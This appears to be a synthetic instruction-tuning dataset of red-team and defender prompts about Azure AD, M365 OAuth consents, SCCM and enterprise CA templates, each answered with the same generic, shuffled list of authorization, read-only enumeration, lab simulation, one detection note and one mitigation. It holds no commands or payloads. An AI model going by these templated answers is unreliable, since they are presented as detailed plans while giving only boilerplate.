{"instruction": "Azure AD Connect server present: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Azure AD Connect server present", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Validate multi-factor and conditional access coverage for high-risk accounts.\n\nStep 3: Enumerate identity and application configuration in a read-only manner.\n\nStep 4: Plan lab-based OAuth/consent simulations to help defenders tune detections.\n\nDefender detection notes:\n\n  - Unusual token issuance or refresh patterns in identity logs.\n\nMitigations & hardening:\n\n  - Harden app consent policies, require admin consent for high-privilege scopes, and monitor identity logs.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "M365 tenant with many apps and OAuth consents: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "M365 tenant with many apps and OAuth consents", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Validate multi-factor and conditional access coverage for high-risk accounts.\n\nStep 3: Plan lab-based OAuth/consent simulations to help defenders tune detections.\n\nStep 4: Enumerate identity and application configuration in a read-only manner.\n\nDefender detection notes:\n\n  - Unusual token issuance or refresh patterns in identity logs.\n\nMitigations & hardening:\n\n  - Harden app consent policies, require admin consent for high-privilege scopes, and monitor identity logs.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "M365 tenant with many apps and OAuth consents: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "M365 tenant with many apps and OAuth consents", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Enumerate identity and application configuration in a read-only manner.\n\nStep 3: Plan lab-based OAuth/consent simulations to help defenders tune detections.\n\nStep 4: Validate multi-factor and conditional access coverage for high-risk accounts.\n\nDefender detection notes:\n\n  - Unusual token issuance or refresh patterns in identity logs.\n\nMitigations & hardening:\n\n  - Harden app consent policies, require admin consent for high-privilege scopes, and monitor identity logs.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "M365 tenant with many apps and OAuth consents: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "M365 tenant with many apps and OAuth consents", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Validate multi-factor and conditional access coverage for high-risk accounts.\n\nStep 3: Enumerate identity and application configuration in a read-only manner.\n\nStep 4: Plan lab-based OAuth/consent simulations to help defenders tune detections.\n\nDefender detection notes:\n\n  - Unusual token issuance or refresh patterns in identity logs.\n\nMitigations & hardening:\n\n  - Harden app consent policies, require admin consent for high-privilege scopes, and monitor identity logs.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "M365 tenant with many apps and OAuth consents: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "M365 tenant with many apps and OAuth consents", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Plan lab-based OAuth/consent simulations to help defenders tune detections.\n\nStep 3: Enumerate identity and application configuration in a read-only manner.\n\nStep 4: Validate multi-factor and conditional access coverage for high-risk accounts.\n\nDefender detection notes:\n\n  - Unusual token issuance or refresh patterns in identity logs.\n\nMitigations & hardening:\n\n  - Harden app consent policies, require admin consent for high-privilege scopes, and monitor identity logs.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Azure AD tenant with conditional access: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Azure AD tenant with conditional access", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Plan lab-based OAuth/consent simulations to help defenders tune detections.\n\nStep 3: Enumerate identity and application configuration in a read-only manner.\n\nStep 4: Validate multi-factor and conditional access coverage for high-risk accounts.\n\nDefender detection notes:\n\n  - Unusual token issuance or refresh patterns in identity logs.\n\nMitigations & hardening:\n\n  - Harden app consent policies, require admin consent for high-privilege scopes, and monitor identity logs.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Azure AD tenant with conditional access: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Azure AD tenant with conditional access", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Validate multi-factor and conditional access coverage for high-risk accounts.\n\nStep 3: Plan lab-based OAuth/consent simulations to help defenders tune detections.\n\nStep 4: Enumerate identity and application configuration in a read-only manner.\n\nDefender detection notes:\n\n  - Unusual token issuance or refresh patterns in identity logs.\n\nMitigations & hardening:\n\n  - Harden app consent policies, require admin consent for high-privilege scopes, and monitor identity logs.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Azure AD tenant with conditional access: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Azure AD tenant with conditional access", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Enumerate identity and application configuration in a read-only manner.\n\nStep 3: Plan lab-based OAuth/consent simulations to help defenders tune detections.\n\nStep 4: Validate multi-factor and conditional access coverage for high-risk accounts.\n\nDefender detection notes:\n\n  - Unusual token issuance or refresh patterns in identity logs.\n\nMitigations & hardening:\n\n  - Harden app consent policies, require admin consent for high-privilege scopes, and monitor identity logs.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Azure AD Connect server present: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Azure AD Connect server present", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Validate multi-factor and conditional access coverage for high-risk accounts.\n\nStep 3: Plan lab-based OAuth/consent simulations to help defenders tune detections.\n\nStep 4: Enumerate identity and application configuration in a read-only manner.\n\nDefender detection notes:\n\n  - Unusual token issuance or refresh patterns in identity logs.\n\nMitigations & hardening:\n\n  - Harden app consent policies, require admin consent for high-privilege scopes, and monitor identity logs.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Azure AD Connect server present: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Azure AD Connect server present", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Validate multi-factor and conditional access coverage for high-risk accounts.\n\nStep 3: Enumerate identity and application configuration in a read-only manner.\n\nStep 4: Plan lab-based OAuth/consent simulations to help defenders tune detections.\n\nDefender detection notes:\n\n  - Unusual token issuance or refresh patterns in identity logs.\n\nMitigations & hardening:\n\n  - Harden app consent policies, require admin consent for high-privilege scopes, and monitor identity logs.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "M365 tenant with many apps and OAuth consents: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "M365 tenant with many apps and OAuth consents", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Enumerate identity and application configuration in a read-only manner.\n\nStep 3: Plan lab-based OAuth/consent simulations to help defenders tune detections.\n\nStep 4: Validate multi-factor and conditional access coverage for high-risk accounts.\n\nDefender detection notes:\n\n  - Unusual token issuance or refresh patterns in identity logs.\n\nMitigations & hardening:\n\n  - Harden app consent policies, require admin consent for high-privilege scopes, and monitor identity logs.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Azure AD Connect server present: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Azure AD Connect server present", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Enumerate identity and application configuration in a read-only manner.\n\nStep 3: Validate multi-factor and conditional access coverage for high-risk accounts.\n\nStep 4: Plan lab-based OAuth/consent simulations to help defenders tune detections.\n\nDefender detection notes:\n\n  - Unusual token issuance or refresh patterns in identity logs.\n\nMitigations & hardening:\n\n  - Harden app consent policies, require admin consent for high-privilege scopes, and monitor identity logs.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Azure AD tenant with conditional access: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Azure AD tenant with conditional access", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Validate multi-factor and conditional access coverage for high-risk accounts.\n\nStep 3: Enumerate identity and application configuration in a read-only manner.\n\nStep 4: Plan lab-based OAuth/consent simulations to help defenders tune detections.\n\nDefender detection notes:\n\n  - Unusual token issuance or refresh patterns in identity logs.\n\nMitigations & hardening:\n\n  - Harden app consent policies, require admin consent for high-privilege scopes, and monitor identity logs.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Azure AD Connect server present: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Azure AD Connect server present", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Plan lab-based OAuth/consent simulations to help defenders tune detections.\n\nStep 3: Enumerate identity and application configuration in a read-only manner.\n\nStep 4: Validate multi-factor and conditional access coverage for high-risk accounts.\n\nDefender detection notes:\n\n  - Unusual token issuance or refresh patterns in identity logs.\n\nMitigations & hardening:\n\n  - Harden app consent policies, require admin consent for high-privilege scopes, and monitor identity logs.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Azure AD Connect server present: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Azure AD Connect server present", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Plan lab-based OAuth/consent simulations to help defenders tune detections.\n\nStep 3: Validate multi-factor and conditional access coverage for high-risk accounts.\n\nStep 4: Enumerate identity and application configuration in a read-only manner.\n\nDefender detection notes:\n\n  - Unusual token issuance or refresh patterns in identity logs.\n\nMitigations & hardening:\n\n  - Harden app consent policies, require admin consent for high-privilege scopes, and monitor identity logs.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "M365 tenant with many apps and OAuth consents: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "M365 tenant with many apps and OAuth consents", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Validate multi-factor and conditional access coverage for high-risk accounts.\n\nStep 3: Enumerate identity and application configuration in a read-only manner.\n\nStep 4: Plan lab-based OAuth/consent simulations to help defenders tune detections.\n\nDefender detection notes:\n\n  - Unusual token issuance or refresh patterns in identity logs.\n\nMitigations & hardening:\n\n  - Harden app consent policies, require admin consent for high-privilege scopes, and monitor identity logs.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Azure AD Connect server present: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Azure AD Connect server present", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Plan lab-based OAuth/consent simulations to help defenders tune detections.\n\nStep 3: Validate multi-factor and conditional access coverage for high-risk accounts.\n\nStep 4: Enumerate identity and application configuration in a read-only manner.\n\nDefender detection notes:\n\n  - Unusual token issuance or refresh patterns in identity logs.\n\nMitigations & hardening:\n\n  - Harden app consent policies, require admin consent for high-privilege scopes, and monitor identity logs.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "M365 tenant with many apps and OAuth consents: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "M365 tenant with many apps and OAuth consents", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Enumerate identity and application configuration in a read-only manner.\n\nStep 3: Validate multi-factor and conditional access coverage for high-risk accounts.\n\nStep 4: Plan lab-based OAuth/consent simulations to help defenders tune detections.\n\nDefender detection notes:\n\n  - Unusual token issuance or refresh patterns in identity logs.\n\nMitigations & hardening:\n\n  - Harden app consent policies, require admin consent for high-privilege scopes, and monitor identity logs.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "M365 tenant with many apps and OAuth consents: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "M365 tenant with many apps and OAuth consents", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Enumerate identity and application configuration in a read-only manner.\n\nStep 3: Plan lab-based OAuth/consent simulations to help defenders tune detections.\n\nStep 4: Validate multi-factor and conditional access coverage for high-risk accounts.\n\nDefender detection notes:\n\n  - Unusual token issuance or refresh patterns in identity logs.\n\nMitigations & hardening:\n\n  - Harden app consent policies, require admin consent for high-privilege scopes, and monitor identity logs.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Azure AD Connect server present: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Azure AD Connect server present", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Validate multi-factor and conditional access coverage for high-risk accounts.\n\nStep 3: Enumerate identity and application configuration in a read-only manner.\n\nStep 4: Plan lab-based OAuth/consent simulations to help defenders tune detections.\n\nDefender detection notes:\n\n  - Unusual token issuance or refresh patterns in identity logs.\n\nMitigations & hardening:\n\n  - Harden app consent policies, require admin consent for high-privilege scopes, and monitor identity logs.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "M365 tenant with many apps and OAuth consents: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "M365 tenant with many apps and OAuth consents", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Enumerate identity and application configuration in a read-only manner.\n\nStep 3: Plan lab-based OAuth/consent simulations to help defenders tune detections.\n\nStep 4: Validate multi-factor and conditional access coverage for high-risk accounts.\n\nDefender detection notes:\n\n  - Unusual token issuance or refresh patterns in identity logs.\n\nMitigations & hardening:\n\n  - Harden app consent policies, require admin consent for high-privilege scopes, and monitor identity logs.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Azure AD Connect server present: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Azure AD Connect server present", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Enumerate identity and application configuration in a read-only manner.\n\nStep 3: Validate multi-factor and conditional access coverage for high-risk accounts.\n\nStep 4: Plan lab-based OAuth/consent simulations to help defenders tune detections.\n\nDefender detection notes:\n\n  - Unusual token issuance or refresh patterns in identity logs.\n\nMitigations & hardening:\n\n  - Harden app consent policies, require admin consent for high-privilege scopes, and monitor identity logs.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Azure AD tenant with conditional access: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Azure AD tenant with conditional access", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Validate multi-factor and conditional access coverage for high-risk accounts.\n\nStep 3: Plan lab-based OAuth/consent simulations to help defenders tune detections.\n\nStep 4: Enumerate identity and application configuration in a read-only manner.\n\nDefender detection notes:\n\n  - Unusual token issuance or refresh patterns in identity logs.\n\nMitigations & hardening:\n\n  - Harden app consent policies, require admin consent for high-privilege scopes, and monitor identity logs.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "M365 tenant with many apps and OAuth consents: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "M365 tenant with many apps and OAuth consents", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Plan lab-based OAuth/consent simulations to help defenders tune detections.\n\nStep 3: Enumerate identity and application configuration in a read-only manner.\n\nStep 4: Validate multi-factor and conditional access coverage for high-risk accounts.\n\nDefender detection notes:\n\n  - Unusual token issuance or refresh patterns in identity logs.\n\nMitigations & hardening:\n\n  - Harden app consent policies, require admin consent for high-privilege scopes, and monitor identity logs.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "M365 tenant with many apps and OAuth consents: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "M365 tenant with many apps and OAuth consents", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Plan lab-based OAuth/consent simulations to help defenders tune detections.\n\nStep 3: Enumerate identity and application configuration in a read-only manner.\n\nStep 4: Validate multi-factor and conditional access coverage for high-risk accounts.\n\nDefender detection notes:\n\n  - Unusual token issuance or refresh patterns in identity logs.\n\nMitigations & hardening:\n\n  - Harden app consent policies, require admin consent for high-privilege scopes, and monitor identity logs.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "M365 tenant with many apps and OAuth consents: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "M365 tenant with many apps and OAuth consents", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Validate multi-factor and conditional access coverage for high-risk accounts.\n\nStep 3: Plan lab-based OAuth/consent simulations to help defenders tune detections.\n\nStep 4: Enumerate identity and application configuration in a read-only manner.\n\nDefender detection notes:\n\n  - Unusual token issuance or refresh patterns in identity logs.\n\nMitigations & hardening:\n\n  - Harden app consent policies, require admin consent for high-privilege scopes, and monitor identity logs.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Azure AD Connect server present: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Azure AD Connect server present", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Plan lab-based OAuth/consent simulations to help defenders tune detections.\n\nStep 3: Validate multi-factor and conditional access coverage for high-risk accounts.\n\nStep 4: Enumerate identity and application configuration in a read-only manner.\n\nDefender detection notes:\n\n  - Unusual token issuance or refresh patterns in identity logs.\n\nMitigations & hardening:\n\n  - Harden app consent policies, require admin consent for high-privilege scopes, and monitor identity logs.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "M365 tenant with many apps and OAuth consents: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "M365 tenant with many apps and OAuth consents", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Validate multi-factor and conditional access coverage for high-risk accounts.\n\nStep 3: Enumerate identity and application configuration in a read-only manner.\n\nStep 4: Plan lab-based OAuth/consent simulations to help defenders tune detections.\n\nDefender detection notes:\n\n  - Unusual token issuance or refresh patterns in identity logs.\n\nMitigations & hardening:\n\n  - Harden app consent policies, require admin consent for high-privilege scopes, and monitor identity logs.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Azure AD tenant with conditional access: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Azure AD tenant with conditional access", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Enumerate identity and application configuration in a read-only manner.\n\nStep 3: Validate multi-factor and conditional access coverage for high-risk accounts.\n\nStep 4: Plan lab-based OAuth/consent simulations to help defenders tune detections.\n\nDefender detection notes:\n\n  - Unusual token issuance or refresh patterns in identity logs.\n\nMitigations & hardening:\n\n  - Harden app consent policies, require admin consent for high-privilege scopes, and monitor identity logs.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Azure AD Connect server present: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Azure AD Connect server present", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Plan lab-based OAuth/consent simulations to help defenders tune detections.\n\nStep 3: Validate multi-factor and conditional access coverage for high-risk accounts.\n\nStep 4: Enumerate identity and application configuration in a read-only manner.\n\nDefender detection notes:\n\n  - Unusual token issuance or refresh patterns in identity logs.\n\nMitigations & hardening:\n\n  - Harden app consent policies, require admin consent for high-privilege scopes, and monitor identity logs.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "SCCM site with many distribution points: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "SCCM site with many distribution points", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Inventory SCCM roles and distribution point capabilities and document secrets exposure possibilities.\n\nStep 3: Simulate client push or package deployment workflows in lab to validate detection and access controls.\n\nDefender detection notes:\n\n  - Unexpected package deployments or changes in SCCM job logs.\n\nMitigations & hardening:\n\n  - Restrict access to SCCM roles and harden distribution point permissions.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "SCCM admin console reachable: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "SCCM admin console reachable", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Inventory SCCM roles and distribution point capabilities and document secrets exposure possibilities.\n\nStep 3: Simulate client push or package deployment workflows in lab to validate detection and access controls.\n\nDefender detection notes:\n\n  - Unexpected package deployments or changes in SCCM job logs.\n\nMitigations & hardening:\n\n  - Restrict access to SCCM roles and harden distribution point permissions.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "SCCM site with many distribution points: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "SCCM site with many distribution points", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Inventory SCCM roles and distribution point capabilities and document secrets exposure possibilities.\n\nStep 3: Simulate client push or package deployment workflows in lab to validate detection and access controls.\n\nDefender detection notes:\n\n  - Unexpected package deployments or changes in SCCM job logs.\n\nMitigations & hardening:\n\n  - Restrict access to SCCM roles and harden distribution point permissions.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "SCCM admin console reachable: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "SCCM admin console reachable", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Simulate client push or package deployment workflows in lab to validate detection and access controls.\n\nStep 3: Inventory SCCM roles and distribution point capabilities and document secrets exposure possibilities.\n\nDefender detection notes:\n\n  - Unexpected package deployments or changes in SCCM job logs.\n\nMitigations & hardening:\n\n  - Restrict access to SCCM roles and harden distribution point permissions.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "SCCM site with many distribution points: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "SCCM site with many distribution points", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Simulate client push or package deployment workflows in lab to validate detection and access controls.\n\nStep 3: Inventory SCCM roles and distribution point capabilities and document secrets exposure possibilities.\n\nDefender detection notes:\n\n  - Unexpected package deployments or changes in SCCM job logs.\n\nMitigations & hardening:\n\n  - Restrict access to SCCM roles and harden distribution point permissions.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "SCCM admin console reachable: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "SCCM admin console reachable", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Simulate client push or package deployment workflows in lab to validate detection and access controls.\n\nStep 3: Inventory SCCM roles and distribution point capabilities and document secrets exposure possibilities.\n\nDefender detection notes:\n\n  - Unexpected package deployments or changes in SCCM job logs.\n\nMitigations & hardening:\n\n  - Restrict access to SCCM roles and harden distribution point permissions.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "SCCM admin console reachable: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "SCCM admin console reachable", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Inventory SCCM roles and distribution point capabilities and document secrets exposure possibilities.\n\nStep 3: Simulate client push or package deployment workflows in lab to validate detection and access controls.\n\nDefender detection notes:\n\n  - Unexpected package deployments or changes in SCCM job logs.\n\nMitigations & hardening:\n\n  - Restrict access to SCCM roles and harden distribution point permissions.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "SCCM admin console reachable: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "SCCM admin console reachable", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Inventory SCCM roles and distribution point capabilities and document secrets exposure possibilities.\n\nStep 3: Simulate client push or package deployment workflows in lab to validate detection and access controls.\n\nDefender detection notes:\n\n  - Unexpected package deployments or changes in SCCM job logs.\n\nMitigations & hardening:\n\n  - Restrict access to SCCM roles and harden distribution point permissions.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "SCCM admin console reachable: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "SCCM admin console reachable", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Inventory SCCM roles and distribution point capabilities and document secrets exposure possibilities.\n\nStep 3: Simulate client push or package deployment workflows in lab to validate detection and access controls.\n\nDefender detection notes:\n\n  - Unexpected package deployments or changes in SCCM job logs.\n\nMitigations & hardening:\n\n  - Restrict access to SCCM roles and harden distribution point permissions.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "SCCM site with many distribution points: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "SCCM site with many distribution points", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Simulate client push or package deployment workflows in lab to validate detection and access controls.\n\nStep 3: Inventory SCCM roles and distribution point capabilities and document secrets exposure possibilities.\n\nDefender detection notes:\n\n  - Unexpected package deployments or changes in SCCM job logs.\n\nMitigations & hardening:\n\n  - Restrict access to SCCM roles and harden distribution point permissions.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Enterprise CA present with many templates: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Enterprise CA present with many templates", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Validate who has enrollment rights and whether those rights are excessive.\n\nStep 3: Enumerate CA templates and identify which allow client auth or on-behalf-of enrollment.\n\nDefender detection notes:\n\n  - Unusual certificate issuance or renewal outside of maintenance windows.\n\nMitigations & hardening:\n\n  - Harden CA role membership, restrict template edit/issue rights, and audit certificate issuance.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Web enrollment services available: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Web enrollment services available", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Enumerate CA templates and identify which allow client auth or on-behalf-of enrollment.\n\nStep 3: Validate who has enrollment rights and whether those rights are excessive.\n\nDefender detection notes:\n\n  - Unusual certificate issuance or renewal outside of maintenance windows.\n\nMitigations & hardening:\n\n  - Harden CA role membership, restrict template edit/issue rights, and audit certificate issuance.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Web enrollment services available: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Web enrollment services available", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Validate who has enrollment rights and whether those rights are excessive.\n\nStep 3: Enumerate CA templates and identify which allow client auth or on-behalf-of enrollment.\n\nDefender detection notes:\n\n  - Unusual certificate issuance or renewal outside of maintenance windows.\n\nMitigations & hardening:\n\n  - Harden CA role membership, restrict template edit/issue rights, and audit certificate issuance.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Web enrollment services available: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Web enrollment services available", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Enumerate CA templates and identify which allow client auth or on-behalf-of enrollment.\n\nStep 3: Validate who has enrollment rights and whether those rights are excessive.\n\nDefender detection notes:\n\n  - Unusual certificate issuance or renewal outside of maintenance windows.\n\nMitigations & hardening:\n\n  - Harden CA role membership, restrict template edit/issue rights, and audit certificate issuance.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Web enrollment services available: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Web enrollment services available", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Enumerate CA templates and identify which allow client auth or on-behalf-of enrollment.\n\nStep 3: Validate who has enrollment rights and whether those rights are excessive.\n\nDefender detection notes:\n\n  - Unusual certificate issuance or renewal outside of maintenance windows.\n\nMitigations & hardening:\n\n  - Harden CA role membership, restrict template edit/issue rights, and audit certificate issuance.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Enterprise CA present with many templates: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Enterprise CA present with many templates", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Enumerate CA templates and identify which allow client auth or on-behalf-of enrollment.\n\nStep 3: Validate who has enrollment rights and whether those rights are excessive.\n\nDefender detection notes:\n\n  - Unusual certificate issuance or renewal outside of maintenance windows.\n\nMitigations & hardening:\n\n  - Harden CA role membership, restrict template edit/issue rights, and audit certificate issuance.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Enterprise CA present with many templates: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Enterprise CA present with many templates", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Validate who has enrollment rights and whether those rights are excessive.\n\nStep 3: Enumerate CA templates and identify which allow client auth or on-behalf-of enrollment.\n\nDefender detection notes:\n\n  - Unusual certificate issuance or renewal outside of maintenance windows.\n\nMitigations & hardening:\n\n  - Harden CA role membership, restrict template edit/issue rights, and audit certificate issuance.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
